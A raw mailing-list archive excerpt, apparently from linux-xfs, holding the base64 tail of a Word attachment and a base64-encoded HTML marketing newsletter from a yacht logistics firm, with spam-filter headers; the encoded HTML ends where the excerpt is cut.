AAAAAAAAAADgX9nPLg3PAZ8AAACAAAAAAAAAAEQAYQB0AGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAIB////////////////AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAGvlAAAAAAAAMQBUAGEAYgBsAGUAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAgEBAAAA BgAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB7AAAAZB0AAAAAAABX AG8AcgBkAEQAbwBjAHUAbQBlAG4AdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAGgACAQIAAAAFAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAEAAAAAAAAAUAUwB1AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAoAAIB////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAigAAAAAQAAAAAAAABQBEAG8AYwB1AG0AZQBuAHQAUwB1AG0AbQBhAHIA eQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAADgAAgEEAAAA//////////8AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACSAAAAABAAAAAAAAABAEMAbwBtAHAATwBiAGoA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgACAP////// /////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAQAAAP7///////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////8BAP7/AwoAAP////8GCQIAAAAAAMAAAAAAAABGIAAAAMTu6vPs5e3yIE1pY3Jv c29mdCBXb3JkIDk3LTIwMDMACgAAAE1TV29yZERvYwAQAAAAV29yZC5Eb2N1bWVudC44APQ5snEA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA== ------=_NextPart_000_0A7E_01CF0DDC.141A5530-- From 8373744.139402.560@red.mailbank.com.au Fri Jan 10 02:56:22 2014 Return-Path: <8373744.139402.560@red.mailbank.com.au> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.4 required=5.0 tests=HTML_IMAGE_RATIO_06, HTML_MESSAGE,MIME_HTML_MOSTLY autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2D9777F3F for ; Fri, 10 Jan 2014 02:56:22 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 205008F8035 for ; Fri, 10 Jan 2014 00:56:18 -0800 (PST) X-ASG-Debug-ID: 1389344167-04cb6c537dcecf40001-w1Z2WR Received: from mail.red.mailbank.com.au (mail.red.mailbank.com.au [202.172.104.226]) by cuda.sgi.com with ESMTP id XLZs1n49pBnNrwm5 (version=SSLv3 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 10 Jan 2014 00:56:09 -0800 (PST) X-Barracuda-Envelope-From: 8373744.139402.560@red.mailbank.com.au X-Barracuda-Apparent-Source-IP: 202.172.104.226 Received: from GREEN by mail.mailbank.com.au (RTG Mail Server) with ESMTP id WJM38644 for ; Fri, 10 Jan 2014 19:54:44 +1100 MIME-Version: 1.0 From: "Aurora Global Logistics" Sender: "Aurora Global Logistics" To: "linux-xfs@oss.sgi.com" Reply-To: Date: Fri, 10 Jan 2014 19:54:44 +1100 Subject: Aurora International Yacht Logistics e-newsletter Message-ID: <201401105444.364.8373744@red.mailbank.com.au> X-ASG-Orig-Subj: Aurora International Yacht Logistics e-newsletter Content-Type: multipart/alternative; boundary=--boundary_0_0eedbce6-594a-49b9-bf0b-0c226488634b X-Barracuda-Connect: mail.red.mailbank.com.au[202.172.104.226] X-Barracuda-Start-Time: 1389344168 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_IMAGE_RATIO_06, HTML_MESSAGE, MIME_HTML_MOSTLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143931 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_IMAGE_RATIO_06 BODY: HTML has a low ratio of text to image area 0.00 MIME_HTML_MOSTLY BODY: Multipart message mostly text/html MIME 0.00 HTML_MESSAGE BODY: HTML included in message ----boundary_0_0eedbce6-594a-49b9-bf0b-0c226488634b Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: base64 KioqIElNUE9SVEFOVCBOT1RFICoqKiANCklmIHlvdSBjYW4gc2VlIHRoaXMgdGV4dCwgeW91IGFy ZSBub3QgdXNpbmcgSFRNTCBlbmFibGVkIGVtYWlsIHNvZnR3YXJlLiANCg0KDQpZb3UgY2FuIHZp ZXcgdGhpcyBlLW1haWwgb25saW5lIGF0IA0KaHR0cDovL21haWxiYW5rLmNvbS5hdS9PbmxpbmUv P0I9MTM5NDAyJkJLPUQ3M0ZCQ0ZFN0U3RDQNCg0KKioqKioqIA0K ----boundary_0_0eedbce6-594a-49b9-bf0b-0c226488634b Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: base64 PCEtLSANCioqKiBJTVBPUlRBTlQgTk9URSAqKiogDQpJZiB5b3UgY2FuIHNlZSB0aGlzIHRleHQs IHlvdSBhcmUgbm90IHVzaW5nIGFuIEhUTUwgZW5hYmxlZCBlbWFpbCBjbGllbnQuIA0KDQpZb3Ug Y2FuIHZpZXcgdGhpcyBlLW1haWwgb25saW5lIGF0IA0KaHR0cDovL21haWxiYW5rLmNvbS5hdS9P bmxpbmUvP0I9MTM5NDAyJkJLPUQ3M0ZCQ0ZFN0U3RDQNCg0KLSBQbGVhc2UgZGlzcmVnYXJkIGFs bCB0aGUgdGV4dCBiZWxvdyBhcyBpdCBpcyBIVE1MIGZvcm1hdHRlZCB0ZXh0IC0gDQoqKioqKiog DQotLT4NCg0KDQoNCg0KDQoNCjwhRE9DVFlQRSBIVE1MIFBVQkxJQyAiLS8vVzNDLy9EVEQgSFRN TCA0LjAxIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi9odG1sNC9sb29z ZS5kdGQiPg0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIg Y29udGVudD0idGV4dC9odG1sOw0KY2hhcnNldD1VVEYtOCI+DQo8c3R5bGUgdHlwZT0idGV4dC9j c3MiPg0KPCEtLQ0KCgkJCWE6aG92ZXIgewoJCQkJdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmUg IWltcG9ydGFudDsKCQkJfQoJCQl0ZC5wcm9tb2NlbGwgcCB7IAoJCQkJY29sb3I6I2ZmZmZmZjsK CQkJCWZvbnQtc2l6ZToxNXB4OwoJCQkJbGluZS1oZWlnaHQ6NDBweDsKCQkJCWZvbnQtZmFtaWx5 OidIZWx2ZXRpY2EgTmV1ZScsSGVsdmV0aWNhLEFyaWFsLHNhbnMtc2VyaWY7CgkJCQltYXJnaW4t dG9wOjA7CgkJCQltYXJnaW4tYm90dG9tOjA7CgkJCQlwYWRkaW5nLXRvcDowOwoJCQkJcGFkZGlu Zy1ib3R0b206MDsKCQkJCWZvbnQtd2VpZ2h0Om5vcm1hbDsKCQkJfQoJCQl0ZC5jb250ZW50Ymxv Y2sgaDQgewoJCQkJY29sb3I6IzAwMDAwMCAhaW1wb3J0YW50OwoJCQkJZm9udC1zaXplOjE1cHg7 CgkJCQlsaW5lLWhlaWdodDoyNHB4OwoJCQkJZm9udC1mYW1pbHk6J0hlbHZldGljYSBOZXVlJyxI ZWx2ZXRpY2EsQXJpYWwsc2Fucy1zZXJpZjsKCQkJCW1hcmdpbi10b3A6MTVweDsKCQkJCW1hcmdp bi1ib3R0b206MTBweDsKCQkJCXBhZGRpbmctdG9wOjA7CgkJCQlwYWRkaW5nLWJvdHRvbTowOwoJ CQkJZm9udC13ZWlnaHQ6Ym9sZDsKCQkJfQoJCQl0ZC5jb250ZW50YmxvY2sgaDQgYSB7CgkJCQlj b2xvcjojMDAwMDAwICFpbXBvcnRhbnQ7CgkJCQlmb250LXNpemU6MTVweDsKCQkJCWxpbmUtaGVp Z2h0OjI0cHg7CgkJCQlmb250LWZhbWlseTonSGVsdmV0aWNhIE5ldWUnLEhlbHZldGljYSxBcmlh bCxzYW5zLXNlcmlmOwoJCQkJbWFyZ2luLXRvcDoxNXB4OwoJCQkJbWFyZ2luLWJvdHRvbToxMHB4 OwoJCQkJcGFkZGluZy10b3A6MDsKCQkJCXBhZGRpbmctYm90dG9tOjA7CgkJCQlmb250LXdlaWdo dDpib2xkOwoJCQl9CgkJCXRkLmNvbnRlbnRibG9jayBwIHsgCgkJCSAgCWNvbG9yOiM0MDQwNDA7 CgkJCQlmb250LXNpemU6MTNweDsKCQkJCWxpbmUtaGVpZ2h0OjE5cHg7CgkJCQlmb250LWZhbWls eTonSGVsdmV0aWNhIE5ldWUnLEhlbHZldGljYSxBcmlhbCxzYW5zLXNlcmlmOwoJCQkJbWFyZ2lu LXRvcDowOwoJCQkJbWFyZ2luLWJvdHRvbToxM3B4OwoJCQkJcGFkZGluZy10b3A6MDsKCQkJCXBh ZGRpbmctYm90dG9tOjA7CgkJCQlmb250LXdlaWdodDpub3JtYWw7CgkJCX0KCQkJdGQuY29udGVu dGJsb2NrIGEgewoJCQkgIAljb2xvcjojNDA0MDQwOwoJCQkJZm9udC1zaXplOjEzcHg7CgkJCQls aW5lLWhlaWdodDoxOXB4OwoJCQkJZm9udC1mYW1pbHk6J0hlbHZldGljYSBOZXVlJyxIZWx2ZXRp Y2EsQXJpYWwsc2Fucy1zZXJpZjsKCQkJCW1hcmdpbi10b3A6MDsKCQkJCW1hcmdpbi1ib3R0b206 MDsKCQkJCXBhZGRpbmctdG9wOjA7CgkJCQlwYWRkaW5nLWJvdHRvbTowOwoJCQkJdGV4dC1kZWNv cmF0aW9uOiBub25lOwoJCQkJZm9udC13ZWlnaHQ6IGJvbGQ7CgkJCX0KCQkJdGQuY29udGVudGJs b2NrIHRkIHsgCgkJCSAgCWNvbG9yOiM0MDQwNDA7CgkJCQlmb250LXNpemU6MTNweDsKCQkJCWxp bmUtaGVpZ2h0OjE5cHg7CgkJCQlmb250LWZhbWlseTonSGVsdmV0aWNhIE5ldWUnLEhlbHZldGlj YSxBcmlhbCxzYW5zLXNlcmlmOwoJCQkJbWFyZ2luLXRvcDowOwoJCQkJbWFyZ2luLWJvdHRvbTow OwoJCQkJcGFkZGluZy10b3A6MDsKCQkJCXBhZGRpbmctYm90dG9tOjA7CgkJCQlmb250LXdlaWdo dDpub3JtYWw7CgkJCX0KCQkJLmZvb3RlciB0ZC5jb250ZW50YmxvY2sgcCB7CgkJCSAgCWNvbG9y OiM0MDQwNDA7CgkJCQlmb250LXNpemU6MTFweDsKCQkJCWxpbmUtaGVpZ2h0OjE1cHg7CgkJCQlm b250LWZhbWlseTonSGVsdmV0aWNhIE5ldWUnLEhlbHZldGljYSxBcmlhbCxzYW5zLXNlcmlmOwoJ CQkJbWFyZ2luLXRvcDowOwoJCQkJbWFyZ2luLWJvdHRvbToxM3B4OwoJCQkJcGFkZGluZy10b3A6 MDsKCQkJCXBhZGRpbmctYm90dG9tOjA7CgkJCQlmb250LXdlaWdodDpub3JtYWw7CgkJCX0KCQkJ LmZvb3RlciB0ZC5jb250ZW50YmxvY2sgYSB7CgkJCQljb2xvcjogI2ZmZmZmZjsKCQkJCWZvbnQt c2l6ZToxMXB4OwoJCQkJbGluZS1oZWlnaHQ6MTVweDsKCQkJCWZvbnQtZmFtaWx5OidIZWx2ZXRp Y2EgTmV1ZScsSGVsdmV0aWNhLEFyaWFsLHNhbnMtc2VyaWY7CgkJCQltYXJnaW4tdG9wOjA7CgkJ CQltYXJnaW4tYm90dG9tOjEzcHg7CgkJCQlwYWRkaW5nLXRvcDowOwoJCQkJcGFkZGluZy1ib3R0 b206MDsKCQkJCWZvbnQtd2VpZ2h0OiBub3JtYWw7CgkJCX0KICAgICAgICANCi0tPg0KPC9zdHls ZT4NCjwvaGVhZD4NCjxib2R5IGJnY29sb3I9IndoaXRlIj4NCjxwIGFsaWduPWNlbnRlciBjbGFz cz0idmlld09ubGluZSIgc3R5bGU9ImZvbnQtZmFtaWx5OnRhaG9tYSxhcmlhbDtmb250LXNpemU6 MTBweDsiPlByb2JsZW1zIHJlYWRpbmcgdGhpcyBlLW1haWwgPyA8YSB0YXJnZXQ9Il9ibGFuayIg Y2xhc3M9InZpZXdPbmxpbmUiIHN0eWxlPSJmb250LXNpemU6MTBweCIgaHJlZj0iaHR0cDovL21h aWxiYW5rLmNvbS5hdS9PbmxpbmUvP0I9MTM5NDAyJkJLPUQ3M0ZCQ0ZFN0U3RDQmRVVJRD0xMjRG Rjk1QTlCMzI0RkRDQkU0RjU5MEJFQzkzRUJBMSI+VmlldyBpdCBvbmxpbmUgaGVyZS48L2E+PC9w Pg0KPHRhYmxlIHdpZHRoPSIxMDAlIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2VlZWVlZTsi IGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgIDx0Ym9keT4K ICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48YnI+CiAgICAgICAgICAgIDxicj4KICAgICAg ICAgICAgPHRhYmxlIHdpZHRoPSI2MjAiIGFsaWduPSJjZW50ZXIiIGNsYXNzPSJ0YWJsZSIgYm9y ZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAg PHRib2R5PgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAg PHRkIGNsYXNzPSJjZWxsIiBzdHlsZT0iIiB3aWR0aD0iNjIwIj4KICAgICAgICAgICAgICAgICAg ICAgICAgPHRhYmxlIHdpZHRoPSI2MjAiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxw YWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0Ym9keT4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDx0ZCBzdHlsZT0iIiB3aWR0aD0iMzAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iIiB3aWR0aD0iMjIwIj4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPGltZyBhbHQ9IiIgd2lkdGg9IjEiIGhlaWdodD0iMzAiIHN0 eWxlPSJib3JkZXItd2lkdGg6IDBweDsgYm9yZGVyLXN0eWxlOiBzb2xpZDsiIHNyYz0iaHR0cDov L3dlYnNpdGVzLm1haWxiYW5rLmNvbS5hdS9BdXJvcmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2VzL3Nw YWNlci5naWYiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJo dHRwOi8vbWFpbGJhbmsuY29tLmF1L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xMzk0MDImVT01NjBk MDIyZjliNDE2YTE0ZTU0YThjNThlMDU0NmRmNmYwZCI+PGltZyB3aWR0aD0iMTgzIiBoZWlnaHQ9 IjUwIiBzdHlsZT0iYm9yZGVyLXdpZHRoOiAwcHg7IGJvcmRlci1zdHlsZTogc29saWQ7IiBhbHQ9 IkF1cm9yYSBZYWNodCBMb2dpc3RpY3MiIHNyYz0iaHR0cDovL3dlYnNpdGVzLm1haWxiYW5rLmNv bS5hdS9BdXJvcmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2VzL2F1cm9yYV9sb2dvLnBuZyI+PC9hPgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGFsdD0iIiB3aWR0aD0iMSIg aGVpZ2h0PSIzMCIgc3R5bGU9ImJvcmRlci13aWR0aDogMHB4OyBib3JkZXItc3R5bGU6IHNvbGlk OyIgc3JjPSJodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2JhbExvZ2lz dGljcy9pbWFnZXMvc3BhY2VyLmdpZiI+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxp Z249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiIHdpZHRoPSIxODgiPjxzcGFu IHN0eWxlPSJmb250LXNpemU6IDlweDsgZm9udC1mYW1pbHk6IEFyaWFsOyI+RXhjbHVzaXZlJm5i c3A7QXVzdHJhbGlhbiZuYnNwO0FnZW50cyZuYnNwO2Zvcjo8L3NwYW4+PGJyPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGFsdD0iIiB3aWR0aD0iMTEwIiBzcmM9Imh0 dHA6Ly93ZWJzaXRlcy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL2ltYWdl cy9wbV9sb2dvLnBuZyI+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8 L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249InJpZ2h0 IiB2YWxpZ249InRvcCIgc3R5bGU9ImNvbG9yOiByZ2IoMTY3LCAxNjcsIDE2Nyk7IGZvbnQtZmFt aWx5OiAnSGVsdmV0aWNhIE5ldWUnLCBIZWx2ZXRpY2EsIEFyaWFsLCBzYW5zLXNlcmlmOyBmb250 LXNpemU6IDE0cHg7IGZvbnQtd2VpZ2h0OiBib2xkOyIgd2lkdGg9IjIwMCI+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8aW1nIGFsdD0iIiBoZWlnaHQ9IjQ1IiBzdHlsZT0iYm9yZGVyLXdpZHRoOiAwcHg7 IGJvcmRlci1zdHlsZTogc29saWQ7IiBzcmM9Imh0dHA6Ly93ZWJzaXRlcy5tYWlsYmFuay5jb20u YXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL2ltYWdlcy9zcGFjZXIuZ2lmIj4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cDovL21haWxiYW5rLmNvbS5hdS9y ZWRpci5hc3A/RT04MzczNzQ0JlQ9MTM5NDAyJlU9NTYwYmYyNWUzOTQxNGJiNDJjMGJlYzJlMjM1 ZTcwODY3OTQiPjxpbWcgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0IiBzdHlsZT0iYm9yZGVyLXdpZHRo OiAwcHg7IGJvcmRlci1zdHlsZTogc29saWQ7IiBhbHQ9ImZhY2Vib29rIiBzcmM9Imh0dHA6Ly93 ZWJzaXRlcy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL2ltYWdlcy9mYWNl Ym9vay5wbmciPjwvYT4gPGEgaHJlZj0iaHR0cDovL21haWxiYW5rLmNvbS5hdS9yZWRpci5hc3A/ RT04MzczNzQ0JlQ9MTM5NDAyJlU9NTYwYzM4ZTJlOGQwNWM2NDFiMWI3OWJlMzIzM2Y2MGUxYTYi PjxpbWcgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0IiBzdHlsZT0iYm9yZGVyLXdpZHRoOiAwcHg7IGJv cmRlci1zdHlsZTogc29saWQ7IiBhbHQ9InR3aXR0ZXIiIHNyYz0iaHR0cDovL3dlYnNpdGVzLm1h aWxiYW5rLmNvbS5hdS9BdXJvcmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2VzL3R3aXR0ZXIucG5nIj48 L2E+IDxhIGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3Mzc0NCZU PTEzOTQwMiZVPTU2MGNkMDg4ZDM2YjQ5YjQ5OGFhYmM1NTg3MzdmMTU4MDdmIj48aW1nIHdpZHRo PSIyNCIgaGVpZ2h0PSIyNCIgc3R5bGU9ImJvcmRlci13aWR0aDogMHB4OyBib3JkZXItc3R5bGU6 IHNvbGlkOyIgYWx0PSJ5b3V0dWJlIiBzcmM9Imh0dHA6Ly93ZWJzaXRlcy5tYWlsYmFuay5jb20u YXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL2ltYWdlcy95b3V0dWJlLnBuZyI+PC9hPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGFsdD0iIiB3aWR0aD0iMSIgaGVpZ2h0 PSIyMCIgc3R5bGU9ImJvcmRlci13aWR0aDogMHB4OyBib3JkZXItc3R5bGU6IHNvbGlkOyIgc3Jj PSJodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2JhbExvZ2lzdGljcy9p bWFnZXMvc3BhY2VyLmdpZiI+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8cD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4+SVNTVUUgPC9z cGFuPjxzcGFuIHN0eWxlPSJ0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOyI+PHNpbmdsZWxpbmUg bGFiZWw9Iklzc3VlIE5vLiI+Tm8uMTA0PC9zaW5nbGVsaW5lPjwvc3Bhbj48L3A+CiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDx0ZCBzdHlsZT0iIiB3aWR0aD0iMjAiPjwvdGQ+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJv ZHk+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgICAgICAgICAg ICAgIDxpbWcgYWx0PSIiIHNyYz0iaHR0cDovL3dlYnNpdGVzLm1haWxiYW5rLmNvbS5hdS9BdXJv cmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2VzL0FMSVlMQy5qcGciPgogICAgICAgICAgICAgICAgICAg ICAgICA8dGFibGUgd2lkdGg9IjYyMCIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBh ZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRib2R5PgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDx0ciBiZ2NvbG9yPSIjM2M0YTc3Ij4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSIiIHdpZHRoPSIzMCI+PC90ZD4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJwcm9tb2NlbGwiIHZh bGlnbj0ibWlkZGxlIiBzdHlsZT0iIiBoZWlnaHQ9IjQwIj4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPHA+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsiPlNhZmUg ZWZmZWN0aXZlIHRyYW5zcG9ydCBvZiB5b3VyIHlhY2h0IGludGVybmF0aW9uYWxseS48L3NwYW4+ PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249InJpZ2h0IiBjbGFzcz0icHJvbW9j ZWxsIiBzdHlsZT0iIiBoZWlnaHQ9IjQwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPGEgaHJlZj0iaHR0cDovL21haWxiYW5rLmNvbS5hdS9yZWRpci5hc3A/RT04MzczNzQ0 JlQ9MTM5NDAyJlU9NTYwNWY1ZWMyNTYyZDM2NDRhMTk5M2JhNjI4ZTQ3YzIwZjUiPjxpbWcgd2lk dGg9IjEyMSIgaGVpZ2h0PSIyNSIgc3R5bGU9ImJvcmRlci13aWR0aDogMHB4OyBib3JkZXItc3R5 bGU6IHNvbGlkOyIgYWx0PSJxdW90ZSIgc3JjPSJodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29t LmF1L0F1cm9yYUdsb2JhbExvZ2lzdGljcy9pbWFnZXMvcXVvdGUucG5nIj48L2E+CiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDx0ZCBzdHlsZT0iIiB3aWR0aD0iMzAiPjwvdGQ+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iIiB3aWR0aD0iMjAiPjwvdGQ+CiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHls ZT0iYmFja2dyb3VuZC1jb2xvcjogI2ZmZmZmZjsiIGNvbHNwYW49IjQiPjwvdGQ+CiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0icmlnaHQiIHN0eWxlPSIiIHdp ZHRoPSIyMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgYWx0PSIi IHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgc3R5bGU9ImJvcmRlci13aWR0aDogMHB4OyBib3JkZXIt c3R5bGU6IHNvbGlkOyIgc3JjPSJodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9y YUdsb2JhbExvZ2lzdGljcy9pbWFnZXMvc2hhZG93X2JsdWUucG5nIj4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90Ym9keT4KICAgICAgICAgICAg ICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRo PSI2MDAiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDx0Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0i YmFja2dyb3VuZC1jb2xvcjogcmdiKDI1NSwgMjU1LCAyNTUpOyIgY29sc3Bhbj0iMyIgaGVpZ2h0 